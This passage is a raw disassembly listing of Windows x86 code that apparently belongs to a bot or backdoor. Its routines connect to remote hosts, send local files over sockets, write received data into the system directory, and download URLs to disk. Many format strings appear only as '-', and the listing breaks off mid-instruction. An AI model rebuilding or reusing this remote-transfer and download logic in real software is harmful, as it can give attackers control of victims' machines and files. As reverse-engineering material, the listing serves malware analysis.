ds:dword_4270B0 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_415C36 push [ebp+arg_8] call ds:dword_427080 ; Sleep jmp loc_4159F8 ; --------------------------------------------------------------------------- loc_415C36: ; CODE XREF: sub_4157BA+46Cj pop edi pop esi mov eax, offset byte_4CF1F4 pop ebx leave retn sub_4157BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415C40(char *Str2,int) sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 Str2 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+Str2] ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi ; Size push 0 ; Val lea ebx, dword_43DB90[esi] push ebx ; Dst call _memset push 17h ; Count push [ebp+Str2] ; Source push ebx ; Dest call _strncpy push 9Fh ; Count lea eax, dword_43DBA8[esi] push [ebp+arg_4] ; Source push eax ; Dest call _strncpy add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415CC0(int,char *Str,int) sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 ; int push [ebp+arg_8] ; int push offset dword_437EF0 ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset aD_ ; "%d. " lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: WinMain(x,x,x,x)+384p ; WinMain(x,x,x,x)+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call ds:dword_427140 ; GetLocalTime mov ebx, offset byte_4D35F4 mov edi, 80h mov esi, offset byte_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh ; Count lea eax, [ebx+80h] push ebx ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi ; Count push esi ; Dest call __snprintf add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415DAC(char *Format,char Args) sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... Dest = byte ptr -80h Format = dword ptr 8 Args = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+Args] push eax ; Args lea eax, [ebp+Dest] push [ebp+Format] ; Format push 80h ; Count push eax ; Dest call __vsnprintf lea eax, [ebp+Dest] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_415DD8(int,char *Str,int,int) sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 Str = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset byte_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset byte_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx ; int push [esp+4+arg_8] ; int push offset dword_437F3C ; int push [esp+0Ch+Str] ; Str push [esp+10h+arg_0] ; int call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: .text:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset byte_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] ; int push esi ; Str call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset byte_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E4B proc near ; DATA XREF: sub_401ACD+2844o Dest = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_415E9E push edx ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push offset dword_437F6C ; int push eax ; Str push [ebp+var_11C] ; int call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: sub_415E4B+33j cmp [ebp+Str], 0 jz short loc_415EBE lea eax, [ebp+Str] push eax ; Str call _atoi test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415EBE mov [ebp+var_8], eax loc_415EBE: ; CODE XREF: sub_415E4B+5Aj ; sub_415E4B+6Ej and [ebp+arg_0], 0 mov esi, offset byte_4CF5F4 loc_415EC7: ; CODE XREF: sub_415E4B+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp [ebp+Str], 0 jz short loc_415EF6 cmp [ebp+var_4], 0 jnz short loc_415EF6 lea eax, [ebp+Str] push eax ; int push esi ; Str call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: sub_415E4B+90j ; sub_415E4B+96j push edi ; int lea eax, [ebp+var_118] push [ebp+var_14] ; int push esi ; int push eax ; Str push [ebp+var_11C] ; int call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: sub_415E4B+87j ; sub_415E4B+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset byte_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: sub_415E4B+82j lea eax, [ebp+Dest] push offset asc_437F50 ; "-" push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_415F5B push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+var_118] push eax ; Str push [ebp+var_11C] ; int call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: sub_415E4B+EEj lea eax, [ebp+Dest] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi sub_415E4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: sub_416000+33p ; sub_416563+BCp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4CB9D4 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 ; inet_addr cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 ; gethostbyname test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C ; closesocket loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416000 proc near ; DATA XREF: sub_401ACD+A02o Dst = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_415F7A mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_416093 lea eax, [ebp+Dst] push offset asc_437FEC ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_416076 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409869 add esp, 14h loc_416076: ; CODE XREF: sub_416000+59j lea eax, [ebp+Dst] push eax call sub_415D38 push [ebp+var_10] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_416093: ; CODE XREF: sub_416000+3Fj push offset byte_43DB88 push ebx call sub_41A1B1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4160FE lea eax, [ebp+Dst] push offset asc_437FBC ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4160DA push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409869 add esp, 14h loc_4160DA: ; CODE XREF: sub_416000+BDj lea eax, [ebp+Dst] push eax call sub_415D38 pop ecx push ebx call dword_4CBA6C ; closesocket push [ebp+var_10] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_4160FE: ; CODE XREF: sub_416000+A3j push 64h call ds:dword_427080 ; Sleep xor edi, edi mov esi, 1000h loc_41610D: ; CODE XREF: sub_416000+168j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push edi push esi push eax push ebx call dword_4CB9EC ; recv test eax, eax jle short loc_41616A lea eax, [ebp+Dst] push offset asc_42A080 ; "\n" push eax ; Dest call _strcat lea eax, [ebp+Dst] push eax ; Str call sub_419F9D add esp, 0Ch test eax, eax jz short loc_41616A push 64h call ds:dword_427080 ; Sleep push 0Ah call sub_40B602 test eax, eax pop ecx jnz short loc_41610D loc_41616A: ; CODE XREF: sub_416000+130j ; sub_416000+154j lea eax, [ebp+Dst] push offset asc_437F88 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_41619D push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409869 add esp, 14h loc_41619D: ; CODE XREF: sub_416000+180j lea eax, [ebp+Dst] push eax call sub_415D38 pop ecx push ebx call dword_4CBA6C ; closesocket push [ebp+var_10] call sub_40B6D6 pop ecx push edi call ds:dword_4270D4 ; ExitThread sub_416000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4161C1 proc near ; DATA XREF: sub_401ACD+7696o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh Dest = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h Str = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h Dst = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: sub_4161C1+42j push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4CB9D4 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CBA00 ; bind test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: sub_4161C1+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+Dst] push eax push edi call dword_4CB978 ; getsockname push [ebp+var_2E] call dword_4CB904 ; htons mov [ebp+var_4], eax lea eax, [ebp+Str] push eax ; Str mov [ebp+arg_0], esi call _strlen pop ecx loc_41627F: ; CODE XREF: sub_4161C1+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+Str] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: sub_4161C1+CAj movsx eax, al loc_416295: ; CODE XREF: sub_4161C1+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+Str] inc ecx push eax ; Str mov [ebp+arg_0], ecx call _strlen cmp [ebp+arg_0], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC ; listen test eax, eax jz short loc_4162C8 push offset asc_437FEC ; "-" jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: sub_4161C1+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: sub_4161C1+125j push esi push eax call ds:dword_427114 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AA06 pop ecx push eax call dword_4CBA14 ; inet_addr push eax call dword_4CB9D0 ; htonl push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_438090 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push esi ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409869 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CB9BC ; select test eax, eax jg short loc_4163A2 push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_438078 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_4161C1+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CBA68 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4163DB push offset asc_438054 ; "-" loc_4163C8: ; CODE XREF: sub_4161C1+49j ; sub_4161C1+87j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: sub_4161C1+200j push edi call dword_4CBA6C ; closesocket cmp [ebp+arg_0], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: sub_4161C1+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4163FD mov [ebp+var_4], eax loc_4163FD: ; CODE XREF: sub_4161C1+237j push edi ; Size lea eax, [ebp+var_A04] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_427128 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4270EC ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CBA24 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CB9EC ; recv cmp eax, ebx jl loc_416522 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416522 sub [ebp+arg_0], eax jnz loc_4163F0 mov edi, [ebp+var_18] loc_41648D: ; CODE XREF: sub_4161C1+224j push [ebp+var_8] call ds:dword_427070 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416CC9 pop ecx pop ecx push eax push [ebp+var_44] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_438028 ; "-" push eax ; Dest call _sprintf loc_4164C6: ; CODE XREF: sub_4161C1+1DCj add esp, 14h loc_4164C9: ; CODE XREF: sub_4161C1+215j cmp [ebp+var_50], esi jnz short loc_4164EE push esi ; int lea eax, [ebp+Dest] push [ebp+var_54] ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: sub_4161C1+30Bj lea eax, [ebp+Dest] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C ; closesocket loc_416506: ; CODE XREF: sub_4161C1+33Cj push [ebp+var_1F8] call dword_4CBA6C ; closesocket push [ebp+var_58] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_416522: ; CODE XREF: sub_4161C1+2AFj ; sub_4161C1+2BAj push esi ; int mov esi, offset asc_438010 ; "-" push [ebp+var_54] ; int lea eax, [ebp+var_DC] push esi ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409869 push esi call sub_415D38 add esp, 18h push [ebp+var_1F8] call dword_4CBA6C ; closesocket push [ebp+var_58] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread sub_4161C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416563 proc near ; DATA XREF: sub_401ACD+798o Dst = byte ptr -14C4h var_4C4 = dword ptr -4C4h Filename = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+Filename] push 104h push eax call ds:dword_42707C ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Filename] push eax lea eax, [ebp+Filename] push offset aSS ; "%s%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Filename] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4270F8 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: sub_416563+81j push eax call ds:dword_427070 ; CloseHandle lea eax, [ebp+Filename] push offset aAB ; "a+b" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: sub_416563+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416646 push offset asc_43813C ; "-" loc_416633: ; CODE XREF: sub_416563+88j ; sub_416563+B0j lea eax, [ebp+var_4C4] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: sub_416563+C9j mov esi, 1000h loc_41664B: ; CODE XREF: sub_416563+14Ej push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push [ebp+File] ; File lea eax, [ebp+Dst] push edi ; Count push 1 ; Size push eax ; Str call _fwrite add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CB9D0 ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CBA24 ; send jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: sub_416563+118j lea eax, [ebp+var_4C4] push offset asc_438010 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409869 lea eax, [ebp+var_4C4] push eax call sub_415D38 push [ebp+File] ; File call _fclose add esp, 24h push [ebp+arg_0] call dword_4CBA6C ; closesocket push [ebp+var_1C] call sub_40B6D6 pop ecx push 1 call ds:dword_4270D4 ; ExitThread loc_416712: ; CODE XREF: sub_416563+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset asc_438110 ; "-" push eax ; Dest call _sprintf add esp, 14h loc_416742: ; CODE XREF: sub_416563+DEj cmp [ebp+var_14], ebx jnz short loc_416767 push ebx ; int lea eax, [ebp+var_4C4] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409869 add esp, 14h loc_416767: ; CODE XREF: sub_416563+1E2j lea eax, [ebp+var_4C4] push eax call sub_415D38 cmp [ebp+File], ebx pop ecx jz short loc_416782 push [ebp+File] ; File call _fclose pop ecx loc_416782: ; CODE XREF: sub_416563+214j cmp [ebp+arg_0], ebx jbe short loc_416790 push [ebp+arg_0] call dword_4CBA6C ; closesocket loc_416790: ; CODE XREF: sub_416563+222j push [ebp+var_1C] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread sub_416563 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o var_590 = qword ptr -590h var_584 = qword ptr -584h Dst = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh Str = byte ptr -2C8h var_248 = byte ptr -248h Filename = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CB984 call dword_4CB8D8 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp+Filename] push 40000000h push eax call ds:dword_4270F8 ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_416867 lea eax, [ebp+Filename] push eax lea eax, [ebp+Dst] push offset asc_438358 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_41684A push esi ; int lea eax, [ebp+Dst] push [ebp+var_2C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_2CC] ; int call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: sub_4167A0+88j lea eax, [ebp+Dst] push eax call sub_415D38 push [ebp+var_48] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread loc_416867: ; CODE XREF: sub_4167A0+68j xor edi, edi call ds:dword_4270B0 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx ; Size call _malloc pop ecx mov [ebp+var_1C], eax loc_416881: ; CODE XREF: sub_4167A0+1B4j push 200h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+Dst] push 200h push eax push [ebp+var_18] call dword_4CB8E0 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_4168C5 push [ebp+arg_0] lea eax, [ebp+Dst] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: sub_4167A0+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+Dst] push [ebp+arg_0] push eax push [ebp+var_20] call ds:dword_4270F0 ; WriteFile cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_4168ED mov eax, [ebp+arg_0] loc_4168ED: ; CODE XREF: sub_4167A0+148j push eax ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+var_1C] add eax, edi push eax ; Dst call _memcpy add esp, 0Ch loc_416903: ; CODE XREF: sub_4167A0+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416910 cmp edi, [ebp+var_3C] ja short loc_41695A loc_416910: ; CODE XREF: sub_4167A0+169j cmp [ebp+var_44], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: sub_4167A0+176j shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax push offset asc_438308 ; "-" loc_41693A: ; CODE XREF: sub_4167A0+188j mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_43E710 push eax ; Dest call _sprintf add esp, 